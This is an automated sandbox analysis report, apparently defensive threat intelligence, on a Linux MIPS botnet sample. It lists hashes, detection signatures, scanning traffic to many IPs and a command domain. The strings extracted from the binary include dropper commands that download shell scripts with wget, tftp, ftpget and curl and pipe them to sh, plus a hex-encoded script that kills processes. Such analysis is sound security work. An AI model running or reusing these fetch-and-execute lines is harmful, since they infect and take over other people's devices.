Linux Analysis Report
nklmips.elf

Overview

General Information

Sample name: nklmips.elf
Analysis ID: 1543099
MD5: 449ddac955721a33ff6a3eb273ac9129
SHA1: 6305b0d851498e2b208d746d05f4d194fc485ed6
SHA256: f6c41eddbac984dfea015f2a9a1e4443602291aadc9620aa2069eb76e51caf4b
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 52
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: nklmips.elf ReversingLabs: Detection: 42%
Source: nklmips.elf Virustotal: Detection: 36% Perma Link
Found strings indicative of a multi-platform dropper
Source: nklmips.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:57370 -> 45.156.86.24:38241
Sample listens on a socket
Source: /tmp/nklmips.elf (PID: 5482) Socket: 127.0.0.1:39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 179.222.57.1
Source: unknown TCP traffic detected without corresponding DNS query: 179.222.57.1
Source: unknown TCP traffic detected without corresponding DNS query: 37.146.58.225
Source: unknown TCP traffic detected without corresponding DNS query: 92.59.23.91
Source: unknown TCP traffic detected without corresponding DNS query: 117.151.155.10
Source: unknown TCP traffic detected without corresponding DNS query: 117.44.48.86
Source: unknown TCP traffic detected without corresponding DNS query: 98.48.66.7
Source: unknown TCP traffic detected without corresponding DNS query: 39.164.71.236
Source: unknown TCP traffic detected without corresponding DNS query: 91.127.64.57
Source: unknown TCP traffic detected without corresponding DNS query: 37.146.58.225
Source: unknown TCP traffic detected without corresponding DNS query: 92.59.23.91
Source: unknown TCP traffic detected without corresponding DNS query: 117.151.155.10
Source: unknown TCP traffic detected without corresponding DNS query: 117.44.48.86
Source: unknown TCP traffic detected without corresponding DNS query: 98.48.66.7
Source: unknown TCP traffic detected without corresponding DNS query: 39.164.71.236
Source: unknown TCP traffic detected without corresponding DNS query: 91.127.64.57
Source: unknown TCP traffic detected without corresponding DNS query: 81.206.233.247
Source: unknown TCP traffic detected without corresponding DNS query: 188.185.16.14
Source: unknown TCP traffic detected without corresponding DNS query: 21.126.196.188
Source: unknown TCP traffic detected without corresponding DNS query: 153.48.154.186
Source: unknown TCP traffic detected without corresponding DNS query: 92.84.72.73
Source: unknown TCP traffic detected without corresponding DNS query: 81.206.233.247
Source: unknown TCP traffic detected without corresponding DNS query: 113.82.34.53
Source: unknown TCP traffic detected without corresponding DNS query: 188.185.16.14
Source: unknown TCP traffic detected without corresponding DNS query: 21.126.196.188
Source: unknown TCP traffic detected without corresponding DNS query: 153.48.154.186
Source: unknown TCP traffic detected without corresponding DNS query: 92.84.72.73
Source: unknown TCP traffic detected without corresponding DNS query: 113.82.34.53
Source: unknown TCP traffic detected without corresponding DNS query: 50.113.2.22
Source: unknown TCP traffic detected without corresponding DNS query: 204.78.103.234
Source: unknown TCP traffic detected without corresponding DNS query: 119.172.185.3
Source: unknown TCP traffic detected without corresponding DNS query: 124.102.209.110
Source: unknown TCP traffic detected without corresponding DNS query: 136.78.235.180
Source: unknown TCP traffic detected without corresponding DNS query: 50.113.2.22
Source: unknown TCP traffic detected without corresponding DNS query: 181.205.32.75
Source: unknown TCP traffic detected without corresponding DNS query: 204.78.103.234
Source: unknown TCP traffic detected without corresponding DNS query: 48.92.123.238
Source: unknown TCP traffic detected without corresponding DNS query: 119.172.185.3
Source: unknown TCP traffic detected without corresponding DNS query: 27.19.35.130
Source: unknown TCP traffic detected without corresponding DNS query: 124.102.209.110
Source: unknown TCP traffic detected without corresponding DNS query: 35.41.139.138
Source: unknown TCP traffic detected without corresponding DNS query: 136.78.235.180
Source: unknown TCP traffic detected without corresponding DNS query: 146.122.47.130
Source: unknown TCP traffic detected without corresponding DNS query: 181.205.32.75
Source: unknown TCP traffic detected without corresponding DNS query: 172.143.130.199
Source: unknown TCP traffic detected without corresponding DNS query: 48.92.123.238
Source: unknown TCP traffic detected without corresponding DNS query: 82.224.45.224
Source: unknown TCP traffic detected without corresponding DNS query: 27.19.35.130
Source: unknown TCP traffic detected without corresponding DNS query: 133.139.244.17
Source: unknown TCP traffic detected without corresponding DNS query: 35.41.139.138
Source: global traffic DNS traffic detected: DNS query: burnthe.libre
Source: nklmips.elf String found in binary or memory: http:///curl.sh
Source: nklmips.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal52.troj.linELF@0/0@1/0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/nklmips.elf (PID: 5482) Queries kernel information via 'uname': Jump to behavior
Source: nklmips.elf, 5482.1.00005619f6a8a000.00005619f6b11000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/mips
Source: nklmips.elf, 5482.1.00005619f6a8a000.00005619f6b11000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: nklmips.elf, 5482.1.00007ffcd3460000.00007ffcd3481000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/nklmips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nklmips.elf
Source: nklmips.elf, 5482.1.00007ffcd3460000.00007ffcd3481000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
69.37.74.35
 unknown United States
7018 ATT-INTERNET4US false
124.1.198.113
 unknown Korea Republic of
18302 SKG_NW-AS-KRSKTelecomKR false
145.151.15.78
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
26.159.201.186
 unknown United States
7922 COMCAST-7922US false
39.170.5.158
 unknown China
56041 CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC false
223.93.79.153
 unknown China
56041 CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC false
46.4.109.36
 unknown Germany
24940 HETZNER-ASDE false
220.209.8.238
 unknown Japan 2510 INFOWEBFUJITSULIMITEDJP false
172.173.91.58
 unknown United States
7018 ATT-INTERNET4US false
80.212.30.80
 unknown Norway
2119 TELENOR-NEXTELTelenorNorgeASNO false
98.142.17.48
 unknown United States
22402 NEXTCO-ASUS false
176.67.2.101
 unknown Ukraine
25133 MCLAUT-ASUA false
216.211.164.85
 unknown United States
32504 INTELLETRACEUS false
210.138.125.79
 unknown Japan 2497 IIJInternetInitiativeJapanIncJP false
77.121.44.72
 unknown Russian Federation
205515 TSCRIMEARU false
192.226.83.145
 unknown United States
16524 METTELUS false
221.122.193.113
 unknown China
23724 CHINANET-IDC-BJ-APIDCChinaTelecommunicationsCorporation false
54.0.222.122
 unknown United States
14618 AMAZON-AESUS false
195.159.58.8
 unknown Norway
2116 ASN-CATCHCOMNO false
137.67.50.146
 unknown United States
37440 Airtel-MW false
68.18.62.85
 unknown United States
6389 BELLSOUTH-NET-BLKUS false
186.22.132.180
 unknown Argentina
27747 TelecentroSAAR false
44.191.199.154
 unknown United States
39702 SIT-ASDE false
14.227.186.164
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
205.246.40.253
 unknown United States
20082 ABSNOC1US false
185.19.84.198
 unknown Switzerland
48971 DATAWIRE-ASCH false
31.136.25.15
 unknown Netherlands
15480 VFNL-ASVodafoneNLAutonomousSystemNL false
48.85.132.222
 unknown United States
2686 ATGS-MMD-ASUS false
125.6.158.14
 unknown Japan 17707 DATAHOTEL-JPASforDATAHOTELwhichisoneofiDCinJapan false
146.162.119.142
 unknown United Kingdom
9605 DOCOMONTTDOCOMOINCJP false
102.217.193.0
 unknown unknown
36926 CKL1-ASNKE false
64.154.211.181
 unknown United States
3356 LEVEL3US false
61.32.157.186
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
139.120.75.212
 unknown Norway
5619 EVRY-NO false
1.37.41.248
 unknown Philippines
4775 GLOBE-TELECOM-ASGlobeTelecomsPH false
142.224.22.89
 unknown Canada
13576 SDNW-13576US false
152.234.60.201
 unknown Brazil
7738 TelemarNorteLesteSABR false
31.210.249.135
 unknown Sweden
35706 NAOSE false
193.239.121.207
 unknown France
8304 ECRITEL-FRANCEISPandwebhostingFR false
171.58.77.142
 unknown India
9874 STARHUB-MOBILEStarHubLtdSG false
118.187.151.1
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
206.207.208.155
 unknown United States
2900 WN-AZ-ASUS false
151.55.200.212
 unknown Italy
1267 ASN-WINDTREIUNETEU false
95.246.181.158
 unknown Italy
3269 ASN-IBSNAZIT false
194.86.239.76
 unknown Finland
719 ELISA-ASHelsinkiFinlandEU false
61.242.127.117
 unknown China
17622 CNCGROUP-GZChinaUnicomGuangzhounetworkCN false
113.152.13.226
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
96.158.231.190
 unknown United States
7922 COMCAST-7922US false
95.199.32.139
 unknown Sweden
3301 TELIANET-SWEDENTeliaCompanySE false
71.29.226.174
 unknown United States
7029 WINDSTREAMUS false
208.118.78.2
 unknown Canada
6327 SHAWCA false
215.150.254.240
 unknown United States
721 DNIC-ASBLK-00721-00726US false
165.59.82.142
 unknown Zambia
37154 ZAMTELZM false
35.73.110.231
 unknown United States
16509 AMAZON-02US false
91.108.229.220
 unknown Iraq
207795 WSTELECOM_FRANCEFR false
8.241.47.92
 unknown United States
3356 LEVEL3US false
157.214.67.191
 unknown United States
4704 SANNETRakutenMobileIncJP false
8.83.226.71
 unknown United States
3356 LEVEL3US false
40.119.233.165
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
2.134.183.230
 unknown Kazakhstan
9198 KAZTELECOM-ASKZ false
33.144.126.55
 unknown United States
2686 ATGS-MMD-ASUS false
183.84.221.64
 unknown China
23724 CHINANET-IDC-BJ-APIDCChinaTelecommunicationsCorporation false
13.202.73.57
 unknown United States
7018 ATT-INTERNET4US false
50.13.219.42
 unknown United States
2686 ATGS-MMD-ASUS false
44.126.177.180
 unknown United States
7377 UCSDUS false
187.237.99.138
 unknown Mexico
8151 UninetSAdeCVMX false
187.238.114.32
 unknown Mexico
8151 UninetSAdeCVMX false
76.226.139.88
 unknown United States
7018 ATT-INTERNET4US false
155.170.182.90
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
44.126.72.216
 unknown United States
7377 UCSDUS false
61.85.110.115
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
23.89.242.179
 unknown United States
18978 ENZUINC-US false
101.175.179.124
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
126.134.126.153
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
131.97.38.30
 unknown Sweden
10631 GEORGIA-STATEUS false
51.74.238.104
 unknown United States
2686 ATGS-MMD-ASUS false
81.190.245.12
 unknown Poland
21021 MULTIMEDIA-ASCableDTVInternetVoiceProviderinPoland false
112.229.41.50
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
75.180.65.92
 unknown United States
10796 TWC-10796-MIDWESTUS false
213.32.145.126
 unknown France
200484 SENDINBLUE-ASNFR false
211.208.141.246
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
187.224.248.13
 unknown Mexico
8151 UninetSAdeCVMX false
26.187.239.120
 unknown United States
7922 COMCAST-7922US false
78.255.60.209
 unknown France
12322 PROXADFR false
125.113.202.24
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
159.103.9.41
 unknown Switzerland
13283 BJB1-ASCH false
208.210.172.179
 unknown United States
701 UUNETUS false
199.46.68.25
 unknown United States
2379 CENTURYLINK-LEGACY-EMBARQ-WNPKUS false
219.138.199.35
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
200.255.254.143
 unknown Brazil
4230 CLAROSABR false
110.73.244.220
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
210.54.135.187
 unknown New Zealand
4648 SPARK-NZGlobal-GatewayInternetNZ false
181.152.3.16
 unknown Colombia
26611 COMCELSACO false
136.0.33.238
 unknown United States
18779 EGIHOSTINGUS false
66.67.195.241
 unknown United States
11351 TWC-11351-NORTHEASTUS false
161.87.121.135
 unknown Netherlands
14298 EPA-NETUS false
120.37.49.231
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
48.84.55.117
 unknown United States
2686 ATGS-MMD-ASUS false
1.66.247.111
 unknown Japan 9605 DOCOMONTTDOCOMOINCJP false
190.140.199.31
 unknown Panama
18809 CableOndaPA false

Contacted Domains

Name IP Active
burnthe.libre 45.156.86.24 true